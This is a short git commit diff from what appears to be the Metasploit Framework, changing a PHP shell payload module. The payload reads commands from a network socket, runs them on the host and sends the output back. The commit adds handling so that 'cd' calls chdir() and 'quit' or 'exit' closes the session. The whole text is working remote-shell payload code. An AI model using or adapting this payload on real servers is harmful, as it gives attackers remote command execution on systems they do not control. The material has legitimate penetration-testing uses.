make cd work by special-casing it to call chdir()

git-svn-id: file:///home/svn/framework3/trunk@7027 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-09-10 06:19:10 +00:00
parent 0f957f236e
commit 782f830abf
1 changed files with 8 additions and 2 deletions

View File

@ -64,10 +64,16 @@ module Metasploit3
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
{ {
$o = '';
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ); $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
if(FALSE===$c){break;} if(FALSE===$c){break;}
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})} if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
}
@socket_write($msgsock,$o,strlen($o)); @socket_write($msgsock,$o,strlen($o));
} }
@socket_close($msgsock); @socket_close($msgsock);